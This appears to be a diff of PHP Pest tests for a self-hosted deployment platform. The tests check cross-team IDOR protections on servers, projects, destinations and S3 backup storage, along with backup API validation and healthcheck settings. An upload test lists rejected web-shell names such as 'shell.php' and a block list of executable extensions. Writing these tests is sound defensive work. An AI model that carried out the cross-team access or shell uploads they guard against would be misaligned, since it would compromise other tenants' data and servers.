'image' => 'postgres:16-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
}
function createS3StorageForTeam(Team $team, string $name = 'Test S3'): S3Storage
{
return S3Storage::create([
'name' => $name,
'region' => 'us-east-1',
'key' => 'test-key',
'secret' => 'test-secret',
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.example.com',
'is_usable' => true,
'team_id' => $team->id,
]);
}
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
it('rejects enabling S3 backup without a selected S3 storage', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', null)
->call('submit')
->assertDispatched('error');
expect(ScheduledDatabaseBackup::count())->toBe(0);
});
it('rejects an S3 storage not owned by the current team', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
$foreignS3 = createS3StorageForTeam(Team::factory()->create(), 'Foreign S3');
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', $foreignS3->id)
->call('submit')
->assertDispatched('error');
expect(ScheduledDatabaseBackup::count())->toBe(0);
});
it('rejects an S3 storage that is reassigned after the component is mounted', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
$s3 = createS3StorageForTeam($this->team);
$component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', $s3->id);
$s3->update(['team_id' => Team::factory()->create()->id]);
$component
->call('submit')
->assertDispatched('error');
expect(ScheduledDatabaseBackup::count())->toBe(0);
});
it('rejects an S3 storage that becomes unusable after the component is mounted', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
$s3 = createS3StorageForTeam($this->team);
$component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', $s3->id);
$s3->update(['is_usable' => false]);
$component
->call('submit')
->assertDispatched('error');
expect(ScheduledDatabaseBackup::count())->toBe(0);
});
it('creates a scheduled backup with a valid team-owned S3 storage', function () {
$database = createDatabaseForScheduledBackupTest($this->team);
$s3 = createS3StorageForTeam($this->team);
Livewire::test(CreateScheduledBackup::class, ['database' => $database])
->set('frequency', '0 0 * * *')
->set('saveToS3', true)
->set('s3StorageId', $s3->id)
->call('submit')
->assertDispatched('refreshScheduledBackups');
$backup = ScheduledDatabaseBackup::first();
expect($backup)->not->toBeNull();
expect($backup->save_s3)->toBeTruthy();
expect($backup->s3_storage_id)->toBe($s3->id);
});
@@ -0,0 +1,232 @@
<?php
use App\Actions\Docker\GetContainersStatus;
use App\Livewire\Project\Shared\Destination;
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Queue;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
Queue::fake();
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
// Attacker: Team A
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
$this->destinationA = StandaloneDocker::factory()->create([
'server_id' => $this->serverA->id,
'name' => 'dest-a-'.fake()->unique()->word(),
'network' => 'coolify-a-'.fake()->unique()->word(),
]);
$this->applicationA = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => StandaloneDocker::class,
]);
// A second usable destination on Team A's own server, used for positive-path tests.
$this->serverA2 = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->destinationA2 = StandaloneDocker::factory()->create([
'server_id' => $this->serverA2->id,
'name' => 'dest-a2-'.fake()->unique()->word(),
'network' => 'coolify-a2-'.fake()->unique()->word(),
]);
// Victim: Team B
$this->userB = User::factory()->create();
$this->teamB = Team::factory()->create();
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->destinationB = StandaloneDocker::factory()->create([
'server_id' => $this->serverB->id,
'name' => 'dest-b-'.fake()->unique()->word(),
'network' => 'coolify-b-'.fake()->unique()->word(),
]);
// Act as attacker (Team A)
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
afterEach(function () {
GetContainersStatus::clearFake();
});
describe('Destination::addServer GHSA-j395-3pqh-9r5g', function () {
test('cannot attach another team\'s server + network to own application', function () {
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationB->id, $this->serverB->id);
} catch (Throwable $e) {
// handleError on ModelNotFoundException calls abort(404); pivot assertion is source of truth.
}
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
expect($this->applicationA->fresh()->additional_servers)->toHaveCount(0);
});
test('cannot attach own network paired with another team\'s server', function () {
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationA2->id, $this->serverB->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
});
test('cannot attach another team\'s network paired with own server', function () {
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationB->id, $this->serverA2->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
});
test('cannot attach own network paired with wrong own server', function () {
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationA2->id, $this->serverA->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
});
test('can attach own team\'s server + network to own application', function () {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('addServer', $this->destinationA2->id, $this->serverA2->id);
$additional = $this->applicationA->fresh()->additional_networks;
expect($additional)->toHaveCount(1);
expect($additional->first()->id)->toBe($this->destinationA2->id);
expect($additional->first()->pivot->server_id)->toBe($this->serverA2->id);
});
});
describe('Destination::promote GHSA-j395-3pqh-9r5g', function () {
test('cannot promote another team\'s network as the application\'s main destination', function () {
$originalDestinationId = $this->applicationA->destination_id;
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationB->id, $this->serverB->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
});
test('cannot promote own network paired with wrong own server', function () {
$originalDestinationId = $this->applicationA->destination_id;
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationA2->id, $this->serverA->id);
} catch (Throwable $e) {
}
expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
});
test('can promote own team network and preserve previous main as additional network', function () {
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationA2->id, $this->serverA2->id);
$application = $this->applicationA->fresh();
$additional = $application->additional_networks;
expect($application->destination_id)->toBe($this->destinationA2->id);
expect($additional)->toHaveCount(1);
expect($additional->first()->id)->toBe($this->destinationA->id);
expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
});
test('refresh failures after promote do not roll back promoted destination', function () {
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
GetContainersStatus::shouldRun()
->once()
->andThrow(new RuntimeException('refresh failed'));
try {
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationA2->id, $this->serverA2->id);
} catch (Throwable $e) {
// The refresh failure is intentionally outside the transaction; persistence is the assertion.
}
$application = $this->applicationA->fresh();
$additional = $application->additional_networks;
expect($application->destination_id)->toBe($this->destinationA2->id);
expect($additional)->toHaveCount(1);
expect($additional->first()->id)->toBe($this->destinationA->id);
expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
});
test('only detaches the promoted network for the selected pivot server', function () {
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('promote', $this->destinationA2->id, $this->serverA2->id);
expect(DB::table('additional_destinations')
->where('application_id', $this->applicationA->id)
->where('standalone_docker_id', $this->destinationA2->id)
->where('server_id', $this->serverA->id)
->exists())->toBeTrue();
expect(DB::table('additional_destinations')
->where('application_id', $this->applicationA->id)
->where('standalone_docker_id', $this->destinationA2->id)
->where('server_id', $this->serverA2->id)
->exists())->toBeFalse();
});
});
describe('Destination::removeServer', function () {
test('only detaches the removed network for the selected pivot server', function () {
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
$this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
Livewire::test(Destination::class, ['resource' => $this->applicationA])
->call('removeServer', $this->destinationA2->id, $this->serverA2->id, 'password');
expect(DB::table('additional_destinations')
->where('application_id', $this->applicationA->id)
->where('standalone_docker_id', $this->destinationA2->id)
->where('server_id', $this->serverA->id)
->exists())->toBeTrue();
expect(DB::table('additional_destinations')
->where('application_id', $this->applicationA->id)
->where('standalone_docker_id', $this->destinationA2->id)
->where('server_id', $this->serverA2->id)
->exists())->toBeFalse();
});
});
@@ -0,0 +1,186 @@
<?php
use App\Enums\ApplicationDeploymentStatus;
use App\Livewire\Boarding\Index as BoardingIndex;
use App\Livewire\GlobalSearch;
use App\Livewire\Project\CloneMe;
use App\Livewire\Project\DeleteProject;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Database\Eloquent\ModelNotFoundException;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
// Attacker: Team A
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
// Victim: Team B
$this->userB = User::factory()->create();
$this->teamB = Team::factory()->create();
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
// Act as attacker (Team A)
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
describe('Boarding Server IDOR', function () {
test('boarding mount cannot load server from another team via selectedExistingServer', function () {
$component = Livewire::test(BoardingIndex::class, [
'selectedServerType' => 'remote',
'selectedExistingServer' => $this->serverB->id,
]);
// The server from Team B should NOT be loaded
expect($component->get('createdServer'))->toBeNull();
});
test('boarding mount can load own team server via selectedExistingServer', function () {
$component = Livewire::test(BoardingIndex::class, [
'selectedServerType' => 'remote',
'selectedExistingServer' => $this->serverA->id,
]);
// Own team server should load successfully
expect($component->get('createdServer'))->not->toBeNull();
expect($component->get('createdServer')->id)->toBe($this->serverA->id);
});
});
describe('Boarding Project IDOR', function () {
test('boarding mount cannot load project from another team via selectedProject', function () {
$component = Livewire::test(BoardingIndex::class, [
'selectedProject' => $this->projectB->id,
]);
// The project from Team B should NOT be loaded
expect($component->get('createdProject'))->toBeNull();
});
test('boarding selectExistingProject cannot load project from another team', function () {
$component = Livewire::test(BoardingIndex::class)
->set('selectedProject', $this->projectB->id)
->call('selectExistingProject');
expect($component->get('createdProject'))->toBeNull();
$component->assertDispatched('error');
});
test('boarding selectExistingProject can load own team project', function () {
$component = Livewire::test(BoardingIndex::class)
->set('selectedProject', $this->projectA->id)
->call('selectExistingProject');
expect($component->get('createdProject'))->not->toBeNull();
expect($component->get('createdProject')->id)->toBe($this->projectA->id);
});
});
describe('GlobalSearch Server IDOR', function () {
test('loadDestinations cannot access server from another team', function () {
$component = Livewire::test(GlobalSearch::class)
->set('selectedServerId', $this->serverB->id)
->call('loadDestinations');
// Should dispatch error because server is not found (team-scoped)
$component->assertDispatched('error');
});
});
describe('GlobalSearch Project IDOR', function () {
test('loadEnvironments cannot access project from another team', function () {
$component = Livewire::test(GlobalSearch::class)
->set('selectedProjectUuid', $this->projectB->uuid)
->call('loadEnvironments');
// Should not load environments from another team's project
expect($component->get('availableEnvironments'))->toBeEmpty();
});
});
describe('DeleteProject IDOR', function () {
test('cannot mount DeleteProject with project from another team', function () {
// Should throw ModelNotFoundException (404) because team-scoped query won't find it
Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
})->throws(ModelNotFoundException::class);
test('can mount DeleteProject with own team project', function () {
$component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
expect($component->get('projectName'))->toBe($this->projectA->name);
});
});
describe('CloneMe Project IDOR', function () {
test('cannot mount CloneMe with project UUID from another team', function () {
// Should throw ModelNotFoundException because team-scoped query won't find it
Livewire::test(CloneMe::class, [
'project_uuid' => $this->projectB->uuid,
'environment_uuid' => $this->environmentB->uuid,
]);
})->throws(ModelNotFoundException::class);
test('can mount CloneMe with own team project UUID', function () {
$component = Livewire::test(CloneMe::class, [
'project_uuid' => $this->projectA->uuid,
'environment_uuid' => $this->environmentA->uuid,
]);
expect($component->get('project_id'))->toBe($this->projectA->id);
});
});
describe('DeployController API Server IDOR', function () {
test('deploy cancel API cannot access build server from another team', function () {
// Create a deployment queue entry that references Team B's server as build_server
$application = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
'destination_type' => StandaloneDocker::class,
]);
$deployment = ApplicationDeploymentQueue::create([
'application_id' => $application->id,
'deployment_uuid' => 'test-deploy-'.fake()->uuid(),
'server_id' => $this->serverA->id,
'build_server_id' => $this->serverB->id, // Cross-team build server
'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
]);
$token = $this->userA->createToken('test-token', ['*']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
// The cancellation should proceed but the build_server should NOT be found
// (team-scoped query returns null for Team B's server)
// The deployment gets cancelled but no remote process runs on the wrong server
$response->assertOk();
// Verify the deployment was cancelled
$deployment->refresh();
expect($deployment->status)->toBe(
ApplicationDeploymentStatus::CANCELLED_BY_USER->value
);
});
});
+135 -73
View File
@@ -1,5 +1,12 @@
<?php
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\S3Storage;
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use App\Models\User;
@@ -8,50 +15,110 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
// Create a team with owner
InstanceSettings::updateOrCreate(['id' => 0]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
// Create an API token for the user
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
// Mock a database - we'll use Mockery to avoid needing actual database setup
$this->database = \Mockery::mock(StandalonePostgresql::class);
$this->database->shouldReceive('getAttribute')->with('id')->andReturn(1);
$this->database->shouldReceive('getAttribute')->with('uuid')->andReturn('test-db-uuid');
$this->database->shouldReceive('getAttribute')->with('postgres_db')->andReturn('testdb');
$this->database->shouldReceive('type')->andReturn('standalone-postgresql');
$this->database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
});
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
afterEach(function () {
\Mockery::close();
$this->database = StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'testdb',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$this->s3Storage = S3Storage::create([
'name' => 'test-s3',
'region' => 'us-east-1',
'key' => 'test-key',
'secret' => 'test-secret',
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.example.com',
'team_id' => $this->team->id,
'is_usable' => true,
]);
});
describe('POST /api/v1/databases/{uuid}/backups', function () {
test('creates backup configuration with minimal required fields', function () {
// This is a unit-style test using mocks to avoid database dependency
// For full integration testing, this should be run inside Docker
test('creates backup with s3 storage via API token', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'frequency' => '0 2 * * 0',
'save_s3' => true,
's3_storage_uuid' => $this->s3Storage->uuid,
'enabled' => true,
]);
$response->assertStatus(201);
$response->assertJsonStructure(['uuid', 'message']);
$backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->first();
expect($backup)->not->toBeNull();
expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
expect($backup->save_s3)->toBeTrue();
expect($backup->team_id)->toBe($this->team->id);
});
test('creates backup without s3 storage', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'frequency' => 'daily',
]);
$response->assertStatus(201);
$response->assertJsonStructure(['uuid', 'message']);
});
test('rejects s3_storage_uuid from another team', function () {
$otherTeam = Team::factory()->create();
$otherS3 = S3Storage::create([
'name' => 'other-s3',
'region' => 'us-east-1',
'key' => 'other-key',
'secret' => 'other-secret',
'bucket' => 'other-bucket',
'endpoint' => 'https://s3.example.com',
'team_id' => $otherTeam->id,
'is_usable' => true,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/test-db-uuid/backups', [
'frequency' => 'daily',
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'frequency' => '0 2 * * 0',
'save_s3' => true,
's3_storage_uuid' => $otherS3->uuid,
]);
// Since we're mocking, this test verifies the endpoint exists and basic validation
// Full integration tests should be run in Docker environment
expect($response->status())->toBeIn([201, 404, 422]);
$response->assertStatus(422);
$response->assertJsonValidationErrors(['s3_storage_uuid']);
});
test('validates frequency is required', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/test-db-uuid/backups', [
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'enabled' => true,
]);
@@ -63,83 +130,78 @@ describe('POST /api/v1/databases/{uuid}/backups', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/test-db-uuid/backups', [
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'frequency' => 'daily',
'save_s3' => true,
]);
// Should fail validation because s3_storage_uuid is missing
expect($response->status())->toBeIn([404, 422]);
});
test('rejects invalid frequency format', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/test-db-uuid/backups', [
'frequency' => 'invalid-frequency',
]);
expect($response->status())->toBeIn([404, 422]);
$response->assertStatus(422);
$response->assertJsonValidationErrors(['s3_storage_uuid']);
});
test('rejects request without authentication', function () {
$response = $this->postJson('/api/v1/databases/test-db-uuid/backups', [
$response = $this->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
'frequency' => 'daily',
]);
$response->assertStatus(401);
});
});
test('validates retention fields are integers with minimum 0', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/test-db-uuid/backups', [
describe('PATCH /api/v1/databases/{uuid}/backups/{scheduled_backup_uuid}', function () {
test('updates backup to use s3 storage via API token', function () {
$backup = ScheduledDatabaseBackup::create([
'frequency' => 'daily',
'database_backup_retention_amount_locally' => -1,
'enabled' => true,
'database_id' => $this->database->id,
'database_type' => $this->database->getMorphClass(),
'team_id' => $this->team->id,
]);
expect($response->status())->toBeIn([404, 422]);
});
test('accepts valid cron expressions', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/test-db-uuid/backups', [
'frequency' => '0 2 * * *', // Daily at 2 AM
])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
'save_s3' => true,
's3_storage_uuid' => $this->s3Storage->uuid,
]);
// Will fail with 404 because database doesn't exist, but validates the request format
expect($response->status())->toBeIn([201, 404, 422]);
$response->assertStatus(200);
$backup->refresh();
expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
expect($backup->save_s3)->toBeTrue();
});
test('accepts predefined frequency values', function () {
$frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly'];
test('rejects s3_storage_uuid from another team on update', function () {
$otherTeam = Team::factory()->create();
$otherS3 = S3Storage::create([
'name' => 'other-s3',
'region' => 'us-east-1',
'key' => 'other-key',
'secret' => 'other-secret',
'bucket' => 'other-bucket',
'endpoint' => 'https://s3.example.com',
'team_id' => $otherTeam->id,
'is_usable' => true,
]);
foreach ($frequencies as $frequency) {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/test-db-uuid/backups', [
'frequency' => $frequency,
]);
// Will fail with 404 because database doesn't exist, but validates the request format
expect($response->status())->toBeIn([201, 404, 422]);
}
});
test('rejects extra fields not in allowed list', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/databases/test-db-uuid/backups', [
$backup = ScheduledDatabaseBackup::create([
'frequency' => 'daily',
'invalid_field' => 'invalid_value',
'enabled' => true,
'database_id' => $this->database->id,
'database_type' => $this->database->getMorphClass(),
'team_id' => $this->team->id,
]);
expect($response->status())->toBeIn([404, 422]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
'save_s3' => true,
's3_storage_uuid' => $otherS3->uuid,
]);
$response->assertStatus(422);
$response->assertJsonValidationErrors(['s3_storage_uuid']);
});
});
+42
View File
@@ -66,6 +66,48 @@ test('upload_to_s3 throws exception and disables s3 when storage is null', funct
expect($backup->s3_storage_id)->toBeNull();
});
test('upload_to_s3 exception message reports the previous s3 storage id', function () {
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => 12345,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => Team::factory()->create()->id,
]);
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$reflection->getProperty('s3')->setValue($job, null);
expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job))
->toThrow(Exception::class, 'S3 storage ID: 12345');
$backup->refresh();
expect($backup->save_s3)->toBeFalsy();
expect($backup->s3_storage_id)->toBeNull();
});
test('upload_to_s3 exception message reports null when no previous s3 storage id exists', function () {
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => null,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => Team::factory()->create()->id,
]);
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$reflection->getProperty('s3')->setValue($job, null);
expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job))
->toThrow(Exception::class, 'S3 storage ID: null');
});
test('deleting s3 storage disables s3 on linked backups', function () {
$team = Team::factory()->create();
@@ -0,0 +1,62 @@
<?php
use App\Http\Controllers\UploadController;
function invokeHasAllowedExtension(string $name): bool
{
$method = new ReflectionMethod(UploadController::class, 'hasAllowedExtension');
$method->setAccessible(true);
return $method->invoke(null, $name);
}
test('hasAllowedExtension accepts supported extensions', function (string $name) {
expect(invokeHasAllowedExtension($name))->toBeTrue();
})->with([
'plain sql' => ['backup.sql'],
'uppercase sql' => ['BACKUP.SQL'],
'compound sql.gz' => ['backup.sql.gz'],
'compound tar.gz' => ['backup.tar.gz'],
'tgz' => ['archive.tgz'],
'zip' => ['dump.zip'],
'tar' => ['dump.tar'],
'gz' => ['data.gz'],
'dump' => ['data.dump'],
'bak' => ['data.bak'],
'bson' => ['data.bson'],
'bson.gz' => ['data.bson.gz'],
'archive' => ['data.archive'],
'archive.gz' => ['data.archive.gz'],
'bz2' => ['data.bz2'],
'xz' => ['data.xz'],
]);
test('hasAllowedExtension rejects unsupported or empty stems', function (string $name) {
expect(invokeHasAllowedExtension($name))->toBeFalse();
})->with([
'php' => ['shell.php'],
'phtml' => ['shell.phtml'],
'sh' => ['run.sh'],
'exe' => ['malware.exe'],
'elf binary no ext' => ['payload'],
'html' => ['index.html'],
'bare compound without stem' => ['.sql.gz'],
'bare extension' => ['.sql'],
'empty string' => [''],
'misleading double ext' => ['shell.php.sql-evil'],
]);
test('MAX_BYTES constant is 10 GiB', function () {
$constant = (new ReflectionClass(UploadController::class))->getConstant('MAX_BYTES');
expect($constant)->toBe(10 * 1024 * 1024 * 1024);
});
test('ALLOWED_EXTENSIONS does not include executable formats', function () {
$constant = (new ReflectionClass(UploadController::class))->getConstant('ALLOWED_EXTENSIONS');
expect($constant)->toBeArray();
$forbidden = ['php', 'phtml', 'php5', 'sh', 'bash', 'exe', 'js', 'html', 'htm', 'pl', 'py'];
foreach ($forbidden as $bad) {
expect($constant)->not->toContain($bad);
}
});
+175
View File
@@ -0,0 +1,175 @@
<?php
use App\Livewire\Project\Database\Health;
use App\Models\StandalonePostgresql;
use Illuminate\Auth\Access\AuthorizationException;
it('defaults to an enabled healthcheck when nothing is configured', function () {
$database = new StandalonePostgresql;
expect($database->isHealthcheckEnabled())->toBeTrue();
});
it('builds the compose healthcheck block from the model timing fields', function () {
$database = new StandalonePostgresql([
'health_check_interval' => 30,
'health_check_timeout' => 7,
'health_check_retries' => 4,
'health_check_start_period' => 12,
]);
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
expect($config)->toBe([
'test' => ['CMD', 'pg_isready'],
'interval' => '30s',
'timeout' => '7s',
'retries' => 4,
'start_period' => '12s',
]);
});
it('falls back to safe defaults when timing fields are missing', function () {
$database = new StandalonePostgresql;
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
expect($config['interval'])->toBe('15s')
->and($config['timeout'])->toBe('5s')
->and($config['retries'])->toBe(5)
->and($config['start_period'])->toBe('5s');
});
it('reports the healthcheck as disabled when the flag is false', function () {
$database = new StandalonePostgresql(['health_check_enabled' => false]);
expect($database->isHealthcheckEnabled())->toBeFalse();
});
it('uses distinct hash fragments for ambiguous healthcheck values', function () {
$enabledDatabase = new StandalonePostgresql([
'health_check_enabled' => true,
'health_check_interval' => 5,
'health_check_timeout' => 5,
'health_check_retries' => 5,
'health_check_start_period' => 5,
]);
$disabledDatabase = new StandalonePostgresql([
'health_check_enabled' => false,
'health_check_interval' => 15,
'health_check_timeout' => 5,
'health_check_retries' => 5,
'health_check_start_period' => 5,
]);
$getHashFragment = function () {
return $this->healthCheckConfigurationHash();
};
expect($getHashFragment->call($enabledDatabase))
->toBe('1|5|5|5|5')
->not->toBe($getHashFragment->call($disabledDatabase))
->and($getHashFragment->call($disabledDatabase))->toBe('0|15|5|5|5');
});
it('does not mark configuration changed when health update authorization fails', function () {
$database = new class
{
public ?string $config_hash = null;
public int $configurationChangedChecks = 0;
public function isConfigurationChanged(bool $save = false): bool
{
$this->configurationChangedChecks++;
return true;
}
};
$component = new class extends Health
{
public array $dispatchedEvents = [];
public function authorize($ability, $arguments = [])
{
throw new AuthorizationException('This action is unauthorized.');
}
public function dispatch($event, ...$params)
{
$this->dispatchedEvents[] = $event;
return null;
}
};
$component->database = $database;
$component->submit();
expect($database->configurationChangedChecks)->toBe(0)
->and($component->dispatchedEvents)->toBe(['error']);
});
it('toggles database healthcheck and marks configuration changed', function () {
$database = new class
{
public ?string $config_hash = 'existing';
public bool $health_check_enabled = false;
public int $health_check_interval = 15;
public int $health_check_timeout = 5;
public int $health_check_retries = 5;
public int $health_check_start_period = 5;
public int $saveCalls = 0;
public function save(): void
{
$this->saveCalls++;
}
};
$component = new class extends Health
{
public array $dispatchedEvents = [];
public function authorize($ability, $arguments = [])
{
return true;
}
public function dispatch($event, ...$params)
{
$this->dispatchedEvents[] = $event;
return null;
}
